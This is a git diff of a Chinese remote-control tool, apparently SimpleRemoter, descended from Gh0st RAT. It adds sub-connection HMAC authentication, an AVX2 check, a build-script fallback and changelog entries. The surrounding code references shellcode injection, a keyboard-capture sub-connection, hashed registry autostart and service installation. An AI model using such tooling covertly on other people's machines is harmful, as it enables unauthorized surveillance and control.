|
||||||
|
|
||||||
**功能支援**:
|
**功能支援**:
|
||||||
|
|
||||||
| 功能 | 狀態 | 實作 |
|
| 功能 | 狀態 | 實作 |
|
||||||
|------|------|------|
|
|------|------|------|
|
||||||
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取,H.264 硬體編碼 |
|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取,VideoToolbox H.264 硬體編碼 |
|
||||||
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
|
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
|
||||||
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
|
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
|
||||||
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
|
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
|
||||||
|
| 遠端終端 | ✅ | PTY 互動式 Shell(zsh/bash) |
|
||||||
|
| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
|
||||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||||
| 檔案管理 | ⏳ | 開發中 |
|
| 分組管理 | ✅ | 持久化設定檔 |
|
||||||
| 遠端終端 | ⏳ | 開發中 |
|
| 程序管理 | ⏳ | 開發中 |
|
||||||
|
| 剪貼簿 | ⏳ | 開發中 |
|
||||||
|
|
||||||
**編譯方式**:
|
**編譯方式**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd macos
|
cd macos
|
||||||
mkdir build && cd build
|
./build.sh
|
||||||
cmake ..
|
# 或手動編譯:
|
||||||
make
|
# mkdir build && cd build && cmake .. && make
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 更新日誌
|
## 更新日誌
|
||||||
|
|
||||||
|
### v1.3.3 (2026.5.10)
|
||||||
|
|
||||||
|
**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **服務端身分校驗(Layer 1)**:Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分,未授權服務端無法觸發任何子連線
|
||||||
|
- **子連線認證(Layer 2,TOKEN_CONN_AUTH)**:所有子連線首包簽章 + clientID 鎖定,解決 NAT/127.0.0.1 路由錯位
|
||||||
|
- **Linux 用戶端**:H.264 硬體編碼(動態載入 libx264)、XFixes 游標類型偵測、UTF-8 協議能力位
|
||||||
|
- **macOS 用戶端**:檔案管理員、遠端終端機(共享 PTYHandler)、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
|
||||||
|
- **主控**:螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
|
||||||
|
|
||||||
|
**重構:**
|
||||||
|
- Linux/macOS 用戶端共享程式碼抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread),減少約 300 行重複
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- 現代終端 SYSTEM 相容:自動回退到經典終端,資訊列表給出精確原因
|
||||||
|
- `build.ps1` 新增 `vswhere` 兜底(VS 裝在非預設磁碟也能找到)
|
||||||
|
- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
|
||||||
|
- macOS `install.sh` 來源 binary 優先順序最佳化(命令列 → 同目錄 → build/bin),適配分發場景
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞(上傳 IP 路由錯亂 + 下載 chunk 未分發)
|
||||||
|
- 現代終端在 SYSTEM 權限下空白(WebView2 不支援 LocalSystem)
|
||||||
|
- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
|
||||||
|
- 日誌列表表頭點擊錯誤排序到主機列表
|
||||||
|
- LVM_SETUNICODEFORMAT 後表頭排序失效(補充 HDN_ITEMCLICKW 對應)
|
||||||
|
- 服務+代理 Release 模式系統匣圖示不顯示
|
||||||
|
- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
|
||||||
|
- 檔案對話方塊 map 中野指標導致崩潰
|
||||||
|
- 重連時未清回呼導致存取已銷毀 handler 崩潰
|
||||||
|
- MFC 與 Web 遠端桌面工作階段未完全獨立
|
||||||
|
- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
|
||||||
|
- MFC 遠端桌面觸控板雙指捲動失效
|
||||||
|
|
||||||
### v1.3.2 (2026.5.1)
|
### v1.3.2 (2026.5.1)
|
||||||
|
|
||||||
**macOS 用戶端 & Web 遠端桌面增強**
|
**macOS 用戶端 & Web 遠端桌面增強**
|
||||||
@@ -662,7 +700,6 @@ make
|
|||||||
## 相關專案
|
## 相關專案
|
||||||
|
|
||||||
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制
|
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制
|
||||||
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
|
|
||||||
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作
|
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -674,7 +711,6 @@ make
|
|||||||
| **QQ** | 962914132 |
|
| **QQ** | 962914132 |
|
||||||
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
||||||
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
||||||
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
|
|
||||||
| **Issues** | [問題回報](https://t.me/SimpleRemoter) |
|
| **Issues** | [問題回報](https://t.me/SimpleRemoter) |
|
||||||
| **PR** | [貢獻程式碼](https://git.simpleremoter.com/) |
|
| **PR** | [貢獻程式碼](https://git.simpleremoter.com/) |
|
||||||
|
|
||||||
|
|||||||
12
build.ps1
12
build.ps1
@@ -43,6 +43,18 @@ foreach ($pattern in $msBuildPaths) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
|
||||||
|
# vswhere.exe 由 VS Installer 维护,固定在 %ProgramFiles(x86)% 下,与 VS 本体盘符无关。
|
||||||
|
if (-not $msBuild) {
|
||||||
|
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||||
|
if (Test-Path $vswhere) {
|
||||||
|
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
|
||||||
|
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
|
||||||
|
Select-Object -First 1
|
||||||
|
if ($found) { $msBuild = $found }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (-not $msBuild) {
|
if (-not $msBuild) {
|
||||||
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
|
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
|
||||||
Write-Host ""
|
Write-Host ""
|
||||||
|
|||||||
@@ -6,11 +6,22 @@
|
|||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
#include <common/LANChecker.h>
|
#include <common/LANChecker.h>
|
||||||
#include <common/VerifyV2.h>
|
#include <common/VerifyV2.h>
|
||||||
|
#include <intrin.h> // for __cpuid, __cpuidex
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "reg_startup.h"
|
#include "reg_startup.h"
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check if CPU supports AVX2 instruction set
|
||||||
|
static BOOL IsAVX2Supported()
|
||||||
|
{
|
||||||
|
int cpuInfo[4] = { 0, 0, 0, 0 };
|
||||||
|
__cpuid(cpuInfo, 0);
|
||||||
|
if (cpuInfo[0] < 7) return FALSE;
|
||||||
|
__cpuidex(cpuInfo, 7, 0);
|
||||||
|
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
|
||||||
|
}
|
||||||
|
|
||||||
// 自动启动注册表中的值
|
// 自动启动注册表中的值
|
||||||
#define REG_NAME GetExeHashStr().c_str()
|
#define REG_NAME GetExeHashStr().c_str()
|
||||||
|
|
||||||
@@ -195,6 +206,14 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
|
|
||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
|
// Check AVX2 support at startup
|
||||||
|
if (!IsAVX2Supported()) {
|
||||||
|
MessageBoxA(NULL,
|
||||||
|
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||||
|
"CPU 不兼容", MB_ICONERROR);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||||
@@ -312,6 +331,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
{
|
{
|
||||||
switch (ul_reason_for_call) {
|
switch (ul_reason_for_call) {
|
||||||
case DLL_PROCESS_ATTACH: {
|
case DLL_PROCESS_ATTACH: {
|
||||||
|
// Check AVX2 support before starting
|
||||||
|
if (!IsAVX2Supported()) {
|
||||||
|
MessageBoxA(NULL,
|
||||||
|
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||||
|
"CPU 不兼容", MB_ICONERROR);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -199,6 +199,7 @@
|
|||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
<ClCompile Include="SafeThread.cpp" />
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
@@ -241,6 +242,7 @@
|
|||||||
<ClInclude Include="ScreenCapture.h" />
|
<ClInclude Include="ScreenCapture.h" />
|
||||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||||
<ClInclude Include="ScreenManager.h" />
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenPreview.h" />
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
|||||||
@@ -27,6 +27,7 @@
|
|||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
<ClCompile Include="SafeThread.cpp" />
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
@@ -70,6 +71,7 @@
|
|||||||
<ClInclude Include="ScreenCapture.h" />
|
<ClInclude Include="ScreenCapture.h" />
|
||||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||||
<ClInclude Include="ScreenManager.h" />
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenPreview.h" />
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
|||||||
@@ -11,6 +11,8 @@
|
|||||||
|
|
||||||
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
|
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
|
||||||
|
|
||||||
|
#define ALGORITHM_NULL "-1"
|
||||||
|
#define ALGORITHM_NUL -1
|
||||||
#define ALGORITHM_GRAY 0
|
#define ALGORITHM_GRAY 0
|
||||||
#define ALGORITHM_DIFF 1
|
#define ALGORITHM_DIFF 1
|
||||||
#define ALGORITHM_DEFAULT 1
|
#define ALGORITHM_DEFAULT 1
|
||||||
|
|||||||
@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
|||||||
|
|
||||||
// 创建新连接发送文件
|
// 创建新连接发送文件
|
||||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
|
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
|
||||||
|
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||||
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
|
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
|
||||||
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
||||||
|
|||||||
@@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
|
|||||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
|
||||||
|
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
|
||||||
|
// 空 publicKey/privateKey 走内置 HMAC。
|
||||||
|
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
|
||||||
|
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
|
||||||
|
{
|
||||||
|
ConnAuthPacket pkt = {};
|
||||||
|
pkt.token = TOKEN_CONN_AUTH;
|
||||||
|
pkt.clientID = clientID;
|
||||||
|
pkt.timestamp = (uint64_t)time(NULL);
|
||||||
|
// 16 字节 nonce:用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
|
||||||
|
for (int i = 0; i < 16; ++i) {
|
||||||
|
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE sigInput[8 + 8 + 16];
|
||||||
|
memcpy(sigInput, &pkt.clientID, 8);
|
||||||
|
memcpy(sigInput + 8, &pkt.timestamp, 8);
|
||||||
|
memcpy(sigInput + 16, pkt.nonce, 16);
|
||||||
|
auto sig = signMessage("", sigInput, sizeof(sigInput));
|
||||||
|
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
|
||||||
|
memcpy(pkt.signature, sig.data(), sigLen);
|
||||||
|
|
||||||
|
// 设置等待状态
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
|
m_authStatus = -1;
|
||||||
|
m_authPending = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发包;用 HttpMask 包装与其它子连接首包风格一致
|
||||||
|
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
|
||||||
|
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
|
||||||
|
if (sent <= 0) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
|
m_authPending = false;
|
||||||
|
Mprintf("[ConnAuth] 发送失败\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 等响应或超时
|
||||||
|
std::unique_lock<std::mutex> lk(m_authMtx);
|
||||||
|
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
|
||||||
|
[this]{ return !m_authPending; });
|
||||||
|
int status = m_authStatus;
|
||||||
|
m_authPending = false;
|
||||||
|
if (!got) {
|
||||||
|
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
bool ok = (status == CONN_AUTH_OK);
|
||||||
|
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
|
||||||
|
{
|
||||||
|
if (!buf || len < sizeof(ConnAuthAck)) return false;
|
||||||
|
if (buf[0] != TOKEN_CONN_AUTH) return false;
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
|
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
|
||||||
|
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
|
||||||
|
m_authStatus = ack->status;
|
||||||
|
m_authPending = false;
|
||||||
|
}
|
||||||
|
m_authCv.notify_all();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||||
@@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
|||||||
}
|
}
|
||||||
|
|
||||||
m_main = main;
|
m_main = main;
|
||||||
|
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||||
|
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||||
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
||||||
m_sLocPublicIP = pubIP;
|
m_sLocPublicIP = pubIP;
|
||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
@@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 子连接身份校验(opt-in 通过 EnableSubConnAuth 开启):
|
||||||
|
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
|
||||||
|
// - clientID 优先用 EnableSubConnAuth 显式传入的值(Linux/macOS 客户端走此路径),
|
||||||
|
// 未显式传入时从 m_conn 现取(Windows 客户端走此路径)。
|
||||||
|
// - 校验失败:Disconnect 并返回 FALSE,让上层走重连或放弃逻辑。
|
||||||
|
if (m_subConnAuthEnabled) {
|
||||||
|
uint64_t cid = m_subConnAuthClientID;
|
||||||
|
if (cid == 0 && m_conn) cid = m_conn->clientID;
|
||||||
|
if (cid == 0) {
|
||||||
|
Mprintf("[ConnAuth] 跳过校验:clientID 尚未就绪(主连接还没拿到 ID)\n");
|
||||||
|
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
|
||||||
|
Disconnect();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
|
||||||
|
Mprintf("[ConnAuth] 校验失败,断开连接\n");
|
||||||
|
Disconnect();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -549,12 +643,17 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||||
|
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||||
|
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||||
|
// 走 default 路径忽略,无副作用)。
|
||||||
|
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||||
if (ret) {
|
if (ret) {
|
||||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||||
// ReadBuffer 已消费当前包,不需要清空缓冲区
|
// ReadBuffer 已消费当前包,不需要清空缓冲区
|
||||||
|
|||||||
@@ -32,6 +32,8 @@
|
|||||||
#endif
|
#endif
|
||||||
#include "IOCPBase.h"
|
#include "IOCPBase.h"
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <chrono>
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||||||
@@ -259,6 +261,31 @@ public:
|
|||||||
m_LoginMsg = msg;
|
m_LoginMsg = msg;
|
||||||
m_LoginSignature = hmac;
|
m_LoginSignature = hmac;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
|
||||||
|
// 返回 true 表示通过,false 表示超时/失败/网络错误。
|
||||||
|
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
|
||||||
|
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word)保留不变,与本机制并行工作。
|
||||||
|
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
|
||||||
|
|
||||||
|
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth(opt-in)。
|
||||||
|
// 子连接构造后调用此方法启用。
|
||||||
|
// - clientID == 0:每次 auth 时从 m_conn->clientID 现取(Windows 客户端走此路径)。
|
||||||
|
// 这样即便 IOCPClient 创建时主连接还没拿到 ID,真正连上时也能用到最新值。
|
||||||
|
// - clientID != 0:显式指定(Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
|
||||||
|
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
|
||||||
|
m_subConnAuthEnabled = enabled;
|
||||||
|
m_subConnAuthClientID = clientID;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||||||
|
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||||
|
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||||
|
|
||||||
|
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
|
||||||
|
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。
|
||||||
|
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||||
{
|
{
|
||||||
@@ -266,7 +293,6 @@ protected:
|
|||||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||||
}
|
}
|
||||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
|
||||||
virtual int SendTo(const char* buf, int len, int flags)
|
virtual int SendTo(const char* buf, int len, int flags)
|
||||||
{
|
{
|
||||||
return ::send(m_sClientSocket, buf, len, flags);
|
return ::send(m_sClientSocket, buf, len, flags);
|
||||||
@@ -285,6 +311,16 @@ protected:
|
|||||||
BOOL m_bConnected;
|
BOOL m_bConnected;
|
||||||
|
|
||||||
std::mutex m_Locker;
|
std::mutex m_Locker;
|
||||||
|
|
||||||
|
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
|
||||||
|
std::mutex m_authMtx;
|
||||||
|
std::condition_variable m_authCv;
|
||||||
|
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
|
||||||
|
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
|
||||||
|
|
||||||
|
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||||
|
bool m_subConnAuthEnabled = false;
|
||||||
|
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||||
#if USING_CTX
|
#if USING_CTX
|
||||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||||
|
|||||||
@@ -18,6 +18,7 @@
|
|||||||
#include "auto_start.h"
|
#include "auto_start.h"
|
||||||
#include "ShellcodeInj.h"
|
#include "ShellcodeInj.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
|
#include "ScreenPreview.h"
|
||||||
#include "common/file_upload.h"
|
#include "common/file_upload.h"
|
||||||
#include "common/DateVerify.h"
|
#include "common/DateVerify.h"
|
||||||
#include "common/LANChecker.h"
|
#include "common/LANChecker.h"
|
||||||
@@ -53,7 +54,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
|||||||
{
|
{
|
||||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||||
tKeyboard->run = FOREVER_RUN;
|
tKeyboard->run = FOREVER_RUN;
|
||||||
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
tKeyboard->p = sub;
|
||||||
tKeyboard->conn = conn;
|
tKeyboard->conn = conn;
|
||||||
